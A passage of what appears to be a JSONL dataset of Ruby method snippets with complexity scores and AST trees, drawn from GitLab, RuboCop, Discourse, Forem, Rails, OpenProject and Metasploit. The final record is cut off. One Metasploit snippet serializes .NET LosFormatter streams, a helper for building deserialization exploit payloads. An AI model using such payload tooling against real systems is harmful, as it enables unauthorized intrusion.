{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/trace/chunked_io.rb","start_line":209,"raw_source":"def chunk_end\n [chunk_start + CHUNK_SIZE, size].min\n end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"chunk_end\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"chunk_start\"]},\"+\",{\"type\":\"const\",\"children\":[null,\"CHUNK_SIZE\"]}]},{\"type\":\"send\",\"children\":[null,\"size\"]}]},\"min\"]}]}","id":"867c9b96-ffac-4e42-bb69-2c5c7736dc63"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/number_conversion.rb","start_line":159,"raw_source":"def remove_parentheses(corrector, node)\n corrector.replace(node.loc.begin, ' ')\n corrector.remove(node.loc.end)\n end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_parentheses\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]},{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"begin\"]},{\"type\":\"str\",\"children\":[\" \"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"remove\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"end\"]}]}]}]}","id":"5f3b37ff-0cbe-46d8-b231-fb8b216f26b3"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/features/admin/admin_abuse_reports_spec.rb","start_line":181,"raw_source":"def expect_aggregated_report_shown(*reports, count)\n reports.each do |r|\n expect(page).to have_content(aggregated_report_text(r, count))\n end\n end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_aggregated_report_shown\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"reports\"]},{\"type\":\"arg\",\"children\":[\"count\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reports\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_content\",{\"type\":\"send\",\"children\":[null,\"aggregated_report_text\",{\"type\":\"lvar\",\"children\":[\"r\"]},{\"type\":\"lvar\",\"children\":[\"count\"]}]}]}]}]}]}","id":"b3d6da24-0139-45b3-b5c4-9cb9edb3c1f9"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/packet_dispatcher.rb","start_line":687,"raw_source":"def log_packet_to_file(packet, packet_type)\n pathname = ::Pathname.new(self.tlv_log_file_path.split('file:').last)\n\n begin\n if self.tlv_log_file.nil? || self.tlv_log_file.path != pathname.to_s\n self.tlv_log_file.close unless self.tlv_log_file.nil?\n\n self.tlv_log_file = ::File.open(pathname, 'a+')\n end\n\n if packet_type == :recv\n self.tlv_log_file.puts(\"\\nRECV: #{packet.inspect}\\n\")\n elsif packet_type == :send\n self.tlv_log_file.puts(\"\\nSEND: #{packet.inspect}\\n\")\n end\n rescue ::StandardError => e\n self.tlv_logging_error_occured = true\n print_error \"Failed writing to TLV Log File: #{pathname} with error: #{e.message}. Turning off logging for this session: #{self.inspect}...\"\n elog(e)\n shutdown_tlv_logging\n return\n end\n end","complexity_score":50.8,"ast_json":"{\"type\":\"def\",\"children\":[\"log_packet_to_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"packet\"]},{\"type\":\"arg\",\"children\":[\"packet_type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pathname\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Pathname\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"tlv_log_file_path\"]},\"split\",{\"type\":\"str\",\"children\":[\"file:\"]}]},\"last\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"tlv_log_file\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"tlv_log_file\"]},\"path\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pathname\"]},\"to_s\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"tlv_log_file\"]},\"nil?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"tlv_log_file\"]},\"close\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"tlv_log_file=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"pathname\"]},{\"type\":\"str\",\"children\":[\"a+\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packet_type\"]},\"==\",{\"type\":\"sym\",\"children\":[\"recv\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"tlv_log_file\"]},\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\nRECV: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packet\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packet_type\"]},\"==\",{\"type\":\"sym\",\"children\":[\"send\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"tlv_log_file\"]},\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\nSEND: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packet\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},null]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"tlv_logging_error_occured=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed writing to TLV Log File: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pathname\"]}]},{\"type\":\"str\",\"children\":[\" with error: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"str\",\"children\":[\". Turning off logging for this session: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"elog\",{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"send\",\"children\":[null,\"shutdown_tlv_logging\"]},{\"type\":\"return\",\"children\":[]}]}]},null]}]}]}]}","id":"ef9db7f1-15ee-40e3-8f98-8d0d110f2c20"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/users/callouts_helper.rb","start_line":24,"raw_source":"def render_product_usage_data_collection_changes(current_user)\n return unless current_user &&\n current_user.can_admin_all_resources? &&\n !user_dismissed?(PRODUCT_USAGE_DATA_COLLECTION_CHANGES)\n\n render 'shared/product_usage_data_collection_changes_callout'\n end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"render_product_usage_data_collection_changes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"current_user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_user\"]},\"can_admin_all_resources?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_dismissed?\",{\"type\":\"const\",\"children\":[null,\"PRODUCT_USAGE_DATA_COLLECTION_CHANGES\"]}]},\"!\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"str\",\"children\":[\"shared/product_usage_data_collection_changes_callout\"]}]}]}]}","id":"b2cddacd-3185-45dd-b9a6-08ac60a5cb7e"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/util/dot_net_deserialization/formatters/los_formatter.rb","start_line":23,"raw_source":"def self.generate(stream)\n unless stream.is_a?(Types::SerializedStream)\n raise ::NotImplementedError, 'Stream is not supported by this formatter'\n end\n\n stream = stream.to_binary_s\n formatted = ObjectStateFormatter.new(token: TOKEN_BINARY_SERIALIZED).to_binary_s\n formatted << DotNetDeserialization.encode_7bit_int(stream.length)\n formatted << stream\n end","complexity_score":12.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"generate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"stream\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stream\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Types\"]},\"SerializedStream\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"NotImplementedError\"]},{\"type\":\"str\",\"children\":[\"Stream is not supported by this formatter\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"stream\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stream\"]},\"to_binary_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"formatted\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ObjectStateFormatter\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"token\"]},{\"type\":\"const\",\"children\":[null,\"TOKEN_BINARY_SERIALIZED\"]}]}]}]},\"to_binary_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"formatted\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DotNetDeserialization\"]},\"encode_7bit_int\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stream\"]},\"length\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"formatted\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"stream\"]}]}]}]}","id":"2f816567-31a9-4ab9-b518-e6dc8d53881c"} {"repo_name":"discourse","file_path":"./repos/discourse/app/models/post_timing.rb","start_line":10,"raw_source":"def self.pretend_read(topic_id, actual_read_post_number, pretend_read_post_number, user_ids = nil)\n # This is done in SQL cause the logic is quite tricky and we want to do this in one db hit\n #\n user_ids_condition = user_ids.present? ? \"AND user_id = ANY(ARRAY[:user_ids]::int[])\" : \"\"\n sql_query = <<-SQL\n INSERT INTO post_timings(topic_id, user_id, post_number, msecs)\n SELECT :topic_id, user_id, :pretend_read_post_number, 1\n FROM post_timings pt\n WHERE topic_id = :topic_id AND\n post_number = :actual_read_post_number\n #{user_ids_condition}\n AND NOT EXISTS (\n SELECT 1 FROM post_timings pt1\n WHERE pt1.topic_id = pt.topic_id AND\n pt1.post_number = :pretend_read_post_number AND\n pt1.user_id = pt.user_id\n )\n SQL\n\n params = {\n pretend_read_post_number: pretend_read_post_number,\n topic_id: topic_id,\n actual_read_post_number: actual_read_post_number,\n }\n params[:user_ids] = user_ids if user_ids.present?\n\n DB.exec(sql_query, params)\n\n TopicUser.update_last_read_post_number(topic_id:)\n end","complexity_score":11.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"pretend_read\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"topic_id\"]},{\"type\":\"arg\",\"children\":[\"actual_read_post_number\"]},{\"type\":\"arg\",\"children\":[\"pretend_read_post_number\"]},{\"type\":\"optarg\",\"children\":[\"user_ids\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user_ids_condition\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_ids\"]},\"present?\"]},{\"type\":\"str\",\"children\":[\"AND user_id = ANY(ARRAY[:user_ids]::int[])\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sql_query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" INSERT INTO post_timings(topic_id, user_id, post_number, msecs)\\n\"]},{\"type\":\"str\",\"children\":[\" SELECT :topic_id, user_id, :pretend_read_post_number, 1\\n\"]},{\"type\":\"str\",\"children\":[\" FROM post_timings pt\\n\"]},{\"type\":\"str\",\"children\":[\" WHERE topic_id = :topic_id AND\\n\"]},{\"type\":\"str\",\"children\":[\" post_number = :actual_read_post_number\\n\"]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_ids_condition\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" AND NOT EXISTS (\\n\"]},{\"type\":\"str\",\"children\":[\" SELECT 1 FROM post_timings pt1\\n\"]},{\"type\":\"str\",\"children\":[\" WHERE pt1.topic_id = pt.topic_id AND\\n\"]},{\"type\":\"str\",\"children\":[\" pt1.post_number = :pretend_read_post_number AND\\n\"]},{\"type\":\"str\",\"children\":[\" pt1.user_id = pt.user_id\\n\"]},{\"type\":\"str\",\"children\":[\" )\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pretend_read_post_number\"]},{\"type\":\"lvar\",\"children\":[\"pretend_read_post_number\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"lvar\",\"children\":[\"topic_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"actual_read_post_number\"]},{\"type\":\"lvar\",\"children\":[\"actual_read_post_number\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_ids\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"user_ids\"]},{\"type\":\"lvar\",\"children\":[\"user_ids\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"lvar\",\"children\":[\"sql_query\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopicUser\"]},\"update_last_read_post_number\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"lvar\",\"children\":[\"topic_id\"]}]}]}]}]}]}","id":"7b7ce1df-2321-4127-905f-7a030c6c0a06"} {"repo_name":"forem","file_path":"./repos/forem/app/controllers/admin/consumer_apps_controller.rb","start_line":5,"raw_source":"def index\n @apps = ConsumerApps::FindOrCreateAllQuery.call\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@apps\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ConsumerApps\"]},\"FindOrCreateAllQuery\"]},\"call\"]}]}]}","id":"642195b5-ecab-4d7d-b2b8-de1ad7443eed"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/date_test.rb","start_line":13,"raw_source":"def test_date_with_string_value\n string_value = \"2016-05-11 19:00:00\"\n topic = Topic.create(last_read: string_value)\n assert_equal topic, Topic.find_by(last_read: string_value)\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_date_with_string_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"string_value\",{\"type\":\"str\",\"children\":[\"2016-05-11 19:00:00\"]}]},{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_read\"]},{\"type\":\"lvar\",\"children\":[\"string_value\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"topic\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_read\"]},{\"type\":\"lvar\",\"children\":[\"string_value\"]}]}]}]}]}]}]}","id":"6a245454-2ce1-46f2-acc4-d5137bed142a"} {"repo_name":"forem","file_path":"./repos/forem/spec/support/initializers/warden.rb","start_line":15,"raw_source":"def logout(*scopes)\n Warden::Manager.on_request do |proxy|\n proxy.logout(*scopes)\n end\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"logout\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"scopes\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Warden\"]},\"Manager\"]},\"on_request\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"proxy\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"proxy\"]},\"logout\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scopes\"]}]}]}]}]}","id":"a542c358-b8f8-456e-aee0-d03bd9007af6"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/keeps/mark_old_advanced_search_migrations_as_obsolete.rb","start_line":122,"raw_source":"def get_migration_versions_from_codebase\n migration_files = Dir[File.join(MIGRATIONS_PATH, '**', '[0-9]*_*.rb')]\n migration_versions_hash = {}\n migration_files.each do |migration_file|\n version, filename = File.basename(migration_file).scan(MIGRATION_REGEXP).first\n migration_versions_hash[version] = { version: version, filename: filename }\n end\n migration_versions_hash\n end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get_migration_versions_from_codebase\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"migration_files\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"const\",\"children\":[null,\"MIGRATIONS_PATH\"]},{\"type\":\"str\",\"children\":[\"**\"]},{\"type\":\"str\",\"children\":[\"[0-9]*_*.rb\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"migration_versions_hash\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migration_files\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"migration_file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"version\"]},{\"type\":\"lvasgn\",\"children\":[\"filename\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"lvar\",\"children\":[\"migration_file\"]}]},\"scan\",{\"type\":\"const\",\"children\":[null,\"MIGRATION_REGEXP\"]}]},\"first\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migration_versions_hash\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"version\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"version\"]},{\"type\":\"lvar\",\"children\":[\"version\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filename\"]},{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"migration_versions_hash\"]}]}]}","id":"e5c88739-cfe9-427d-ad41-a0552c00bc9c"} {"repo_name":"discourse","file_path":"./repos/discourse/app/helpers/qunit_helper.rb","start_line":4,"raw_source":"def theme_tests\n theme = Theme.find_by(id: request.env[:resolved_theme_id])\n return \"\" if theme.blank?\n\n _, digest = theme.baked_js_tests_with_digest\n src =\n \"#{GlobalSetting.cdn_url}\" \\\n \"#{Discourse.base_path}\" \\\n \"/theme-javascripts/tests/#{theme.id}-#{digest}.js\" \\\n \"?__ws=#{Discourse.current_hostname}\"\n \"<link rel='modulepreload' href='#{src}' data-theme-id='#{theme.id}' nonce='#{ThemeField::CSP_NONCE_PLACEHOLDER}' />\".html_safe\n end","complexity_score":19.4,"ast_json":"{\"type\":\"def\",\"children\":[\"theme_tests\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"theme\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Theme\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"env\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"resolved_theme_id\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"theme\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]},null]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"_\"]},{\"type\":\"lvasgn\",\"children\":[\"digest\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"theme\"]},\"baked_js_tests_with_digest\"]}]},{\"type\":\"lvasgn\",\"children\":[\"src\",{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GlobalSetting\"]},\"cdn_url\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"base_path\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/theme-javascripts/tests/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"theme\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"digest\"]}]},{\"type\":\"str\",\"children\":[\".js\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"?__ws=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"current_hostname\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<link rel='modulepreload' href='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"src\"]}]},{\"type\":\"str\",\"children\":[\"' data-theme-id='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"theme\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"' nonce='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ThemeField\"]},\"CSP_NONCE_PLACEHOLDER\"]}]},{\"type\":\"str\",\"children\":[\"' />\"]}]},\"html_safe\"]}]}]}","id":"11ff8b95-a021-4a61-97bd-6731c98fda80"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/calendar/spec/support/pages/calendar.rb","start_line":39,"raw_source":"def initialize(project, query = nil)\n super()\n\n @project = project\n @filters = ::Components::WorkPackages::Filters.new\n @query = query\n end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"optarg\",\"children\":[\"query\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@filters\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Components\"]},\"WorkPackages\"]},\"Filters\"]},\"new\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@query\",{\"type\":\"lvar\",\"children\":[\"query\"]}]}]}]}","id":"277f1524-b521-4883-b778-097200721e31"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/merge_request/metrics_finder.rb","start_line":6,"raw_source":"def initialize(current_user, params = {})\n @current_user = current_user\n @params = params\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"current_user\"]},{\"type\":\"optarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@current_user\",{\"type\":\"lvar\",\"children\":[\"current_user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@params\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}","id":"fbb72115-6b7f-4648-9433-6618aef252a7"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/internal_affairs/example_description.rb","start_line":112,"raw_source":"def string_contents(node)\n node.type?(:str, :dstr) ? node.value : node.source\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"string_contents\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"type?\",{\"type\":\"sym\",\"children\":[\"str\"]},{\"type\":\"sym\",\"children\":[\"dstr\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"source\"]}]}]}","id":"eb426f01-5d3e-4a1a-a600-fc980b6e2736"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/specs/features/api/1_manage/import/import_large_github_repo_spec.rb","start_line":479,"raw_source":"def verify_comments_and_events(type, actual, expected)\n actual.each_with_object([]) do |(key, actual_item), content_diff|\n expected_item = expected[key]\n title = actual_item[:title]\n msg = \"expected #{type} with iid '#{key}' to have\"\n\n # Print title in the error message to see which object is missing\n #\n expect(expected_item).to be_truthy, \"#{msg} 